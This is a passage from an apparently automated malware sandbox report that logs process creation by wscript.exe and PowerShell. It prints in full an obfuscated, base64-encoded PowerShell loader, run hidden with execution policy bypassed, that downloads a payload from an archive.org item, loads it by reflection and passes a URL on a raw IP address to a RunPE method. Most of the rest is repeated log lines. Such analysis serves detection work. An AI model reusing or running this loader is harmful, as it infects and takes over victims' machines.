7u'+'Xdes'+'a'+'ti'+'va'+'do7uX ,'+' 7uX'+'d'+'esativado7uX,7'+'uXR'+'egA'+'sm7'+'uX'+',7uX7'+'uX))')-REplaCe ([ChAr]55+[ChAr]117+[ChAr]88),[ChAr]39 -REplaCe'Zni',[ChAr]36) \|. ( $eNV:cOmSPeC[4,24,25]-joiN'')"			Jump to behavior

Suspicious powershell command line found

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCgnWicrJ25pdScrJ3JsJysnID0gN3VYaHR0JysncHM6Ly9pYTYnKycwJysnMDEnKycwJysnMCcrJy51cy4nKydhJysncmMnKydoaXYnKydlLm9yZy8nKycyNC9pdGVtcy9kJysnZScrJ3RhaCcrJy1ub3RlJysnLXYvRGUnKyd0YWhOb3RlVi4nKyd0eCcrJ3Q3JysndVgnKyc7JysnWicrJ25pYmFzJysnZTY0JysnQ29uJysndCcrJ2VudCA9IChOZXctT2InKydqZWN0IFN5Jysnc3RlJysnbScrJy4nKydOJysnZScrJ3QuV2ViQycrJ2wnKydpZW50JysnKS5EbycrJ3cnKyduJysnbG9hZFN0JysncmluZyhaJysnbicrJ2l1cmwpJysnO1puaScrJ2JpbmFyeUMnKydvbicrJ3RlbnQnKycgJysnPSBbUycrJ3lzdGUnKydtLkMnKydvJysnbnZlcicrJ3RdOjpGcicrJ29tQmFzZTY0U3RyaScrJ24nKydnKFpuaWJhc2U2JysnNENvbnQnKydlJysnbicrJ3QnKycpOycrJ1puaWEnKydzc2VtYmwnKyd5ICcrJz0gW1JlZmwnKydlY3QnKydpb24nKycuQXNzZScrJ20nKydibHldJysnOjpMJysnb2FkJysnKCcrJ1onKyduaWJpJysnbmFyeUNvbicrJ3QnKydlJysnbnQpO1onKyduJysnaXR5cGUgJysnPScrJyBaJysnbmlhc3NlbWInKydseS5HZXRUeXBlKDd1WCcrJ1InKyd1JysnblBFLkgnKydvJysnbWU3JysndVgnKycpOycrJ1puaW1lJysndGgnKydvZCcrJyAnKyc9IFonKyduJysnaXR5cGUuJysnRycrJ2UnKyd0TWV0JysnaCcrJ29kJysnKDd1WCcrJ1YnKydBSTd1JysnWCk7WicrJ25pbWV0aG8nKydkLkknKydudm9rZSgnKydabicrJ2knKyduJysndWxsLCcrJyAnKydbJysnb2JqZWMnKyd0W11dJysnQCcrJyg3dVh0eHQuRicrJ0ZDTlIvNDEnKyc0Mi81OC45OCcrJzEuMicrJzMnKycyLjI3MScrJy8nKycvJysnOnB0dGgnKyc3JysndVggJysnLCA3dVhkZXNhdGl2YScrJ2RvNycrJ3VYICcrJywgN3UnKydYZGVzJysnYScrJ3RpJysndmEnKydkbzd1WCAsJysnIDd1WCcrJ2QnKydlc2F0aXZhZG83dVgsNycrJ3VYUicrJ2VnQScrJ3NtNycrJ3VYJysnLDd1WDcnKyd1WCkpJyktUkVwbGFDZSAoW0NoQXJdNTUrW0NoQXJdMTE3K1tDaEFyXTg4KSxbQ2hBcl0zOSAtUkVwbGFDZSdabmknLFtDaEFyXTM2KSB8LiAoICRlTlY6Y09tU1BlQ1s0LDI0LDI1XS1qb2lOJycp';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "(('Z'+'niu'+'rl'+' = 7uXhtt'+'ps://ia6'+'0'+'01'+'0'+'0'+'.us.'+'a'+'rc'+'hiv'+'e.org/'+'24/items/d'+'e'+'tah'+'-note'+'-v/De'+'tahNoteV.'+'tx'+'t7'+'uX'+';'+'Z'+'nibas'+'e64'+'Con'+'t'+'ent = (New-Ob'+'ject Sy'+'ste'+'m'+'.'+'N'+'e'+'t.WebC'+'l'+'ient'+').Do'+'w'+'n'+'loadSt'+'ring(Z'+'n'+'iurl)'+';Zni'+'binaryC'+'on'+'tent'+' '+'= [S'+'yste'+'m.C'+'o'+'nver'+'t]::Fr'+'omBase64Stri'+'n'+'g(Znibase6'+'4Cont'+'e'+'n'+'t'+');'+'Znia'+'ssembl'+'y '+'= [Refl'+'ect'+'ion'+'.Asse'+'m'+'bly]'+'::L'+'oad'+'('+'Z'+'nibi'+'naryCon'+'t'+'e'+'nt);Z'+'n'+'itype '+'='+' Z'+'niassemb'+'ly.GetType(7uX'+'R'+'u'+'nPE.H'+'o'+'me7'+'uX'+');'+'Znime'+'th'+'od'+' '+'= Z'+'n'+'itype.'+'G'+'e'+'tMet'+'h'+'od'+'(7uX'+'V'+'AI7u'+'X);Z'+'nimetho'+'d.I'+'nvoke('+'Zn'+'i'+'n'+'ull,'+' '+'['+'objec'+'t[]]'+'@'+'(7uXtxt.F'+'FCNR/41'+'42/58.98'+'1.2'+'3'+'2.271'+'/'+'/'+':ptth'+'7'+'uX '+', 7uXdesativa'+'do7'+'uX '+', 7u'+'Xdes'+'a'+'ti'+'va'+'do7uX ,'+' 7uX'+'d'+'esativado7uX,7'+'uXR'+'egA'+'sm7'+'uX'+',7uX7'+'uX))')-REplaCe ([ChAr]55+[ChAr]117+[ChAr]88),[ChAr]39 -REplaCe'Zni',[ChAr]36) \|. ( $eNV:cOmSPeC[4,24,25]-joiN'')"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCgnWicrJ25pdScrJ3JsJysnID0gN3VYaHR0JysncHM6Ly9pYTYnKycwJysnMDEnKycwJysnMCcrJy51cy4nKydhJysncmMnKydoaXYnKydlLm9yZy8nKycyNC9pdGVtcy9kJysnZScrJ3RhaCcrJy1ub3RlJysnLXYvRGUnKyd0YWhOb3RlVi4nKyd0eCcrJ3Q3JysndVgnKyc7JysnWicrJ25pYmFzJysnZTY0JysnQ29uJysndCcrJ2VudCA9IChOZXctT2InKydqZWN0IFN5Jysnc3RlJysnbScrJy4nKydOJysnZScrJ3QuV2ViQycrJ2wnKydpZW50JysnKS5EbycrJ3cnKyduJysnbG9hZFN0JysncmluZyhaJysnbicrJ2l1cmwpJysnO1puaScrJ2JpbmFyeUMnKydvbicrJ3RlbnQnKycgJysnPSBbUycrJ3lzdGUnKydtLkMnKydvJysnbnZlcicrJ3RdOjpGcicrJ29tQmFzZTY0U3RyaScrJ24nKydnKFpuaWJhc2U2JysnNENvbnQnKydlJysnbicrJ3QnKycpOycrJ1puaWEnKydzc2VtYmwnKyd5ICcrJz0gW1JlZmwnKydlY3QnKydpb24nKycuQXNzZScrJ20nKydibHldJysnOjpMJysnb2FkJysnKCcrJ1onKyduaWJpJysnbmFyeUNvbicrJ3QnKydlJysnbnQpO1onKyduJysnaXR5cGUgJysnPScrJyBaJysnbmlhc3NlbWInKydseS5HZXRUeXBlKDd1WCcrJ1InKyd1JysnblBFLkgnKydvJysnbWU3JysndVgnKycpOycrJ1puaW1lJysndGgnKydvZCcrJyAnKyc9IFonKyduJysnaXR5cGUuJysnRycrJ2UnKyd0TWV0JysnaCcrJ29kJysnKDd1WCcrJ1YnKydBSTd1JysnWCk7WicrJ25pbWV0aG8nKydkLkknKydudm9rZSgnKydabicrJ2knKyduJysndWxsLCcrJyAnKydbJysnb2JqZWMnKyd0W11dJysnQCcrJyg3dVh0eHQuRicrJ0ZDTlIvNDEnKyc0Mi81OC45OCcrJzEuMicrJzMnKycyLjI3MScrJy8nKycvJysnOnB0dGgnKyc3JysndVggJysnLCA3dVhkZXNhdGl2YScrJ2RvNycrJ3VYICcrJywgN3UnKydYZGVzJysnYScrJ3RpJysndmEnKydkbzd1WCAsJysnIDd1WCcrJ2QnKydlc2F0aXZhZG83dVgsNycrJ3VYUicrJ2VnQScrJ3NtNycrJ3VYJysnLDd1WDcnKyd1WCkpJyktUkVwbGFDZSAoW0NoQXJdNTUrW0NoQXJdMTE3K1tDaEFyXTg4KSxbQ2hBcl0zOSAtUkVwbGFDZSdabmknLFtDaEFyXTM2KSB8LiAoICRlTlY6Y09tU1BlQ1s0LDI0LDI1XS1qb2lOJycp';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "(('Z'+'niu'+'rl'+' = 7uXhtt'+'ps://ia6'+'0'+'01'+'0'+'0'+'.us.'+'a'+'rc'+'hiv'+'e.org/'+'24/items/d'+'e'+'tah'+'-note'+'-v/De'+'tahNoteV.'+'tx'+'t7'+'uX'+';'+'Z'+'nibas'+'e64'+'Con'+'t'+'ent = (New-Ob'+'ject Sy'+'ste'+'m'+'.'+'N'+'e'+'t.WebC'+'l'+'ient'+').Do'+'w'+'n'+'loadSt'+'ring(Z'+'n'+'iurl)'+';Zni'+'binaryC'+'on'+'tent'+' '+'= [S'+'yste'+'m.C'+'o'+'nver'+'t]::Fr'+'omBase64Stri'+'n'+'g(Znibase6'+'4Cont'+'e'+'n'+'t'+');'+'Znia'+'ssembl'+'y '+'= [Refl'+'ect'+'ion'+'.Asse'+'m'+'bly]'+'::L'+'oad'+'('+'Z'+'nibi'+'naryCon'+'t'+'e'+'nt);Z'+'n'+'itype '+'='+' Z'+'niassemb'+'ly.GetType(7uX'+'R'+'u'+'nPE.H'+'o'+'me7'+'uX'+');'+'Znime'+'th'+'od'+' '+'= Z'+'n'+'itype.'+'G'+'e'+'tMet'+'h'+'od'+'(7uX'+'V'+'AI7u'+'X);Z'+'nimetho'+'d.I'+'nvoke('+'Zn'+'i'+'n'+'ull,'+' '+'['+'objec'+'t[]]'+'@'+'(7uXtxt.F'+'FCNR/41'+'42/58.98'+'1.2'+'3'+'2.271'+'/'+'/'+':ptth'+'7'+'uX '+', 7uXdesativa'+'do7'+'uX '+', 7u'+'Xdes'+'a'+'ti'+'va'+'do7uX ,'+' 7uX'+'d'+'esativado7uX,7'+'uXR'+'egA'+'sm7'+'uX'+',7uX7'+'uX))')-REplaCe ([ChAr]55+[ChAr]117+[ChAr]88),[ChAr]39 -REplaCe'Zni',[ChAr]36) \|. ( $eNV:cOmSPeC[4,24,25]-joiN'')"	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_00007FFB4AF11B15 pushad ; iretd	2_2_00007FFB4AF11B4D
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_00007FFB4AF2C755 push edi; retf	4_2_00007FFB4AF2C756
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_00007FFB4AF27523 push ebx; iretd	4_2_00007FFB4AF2756A

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
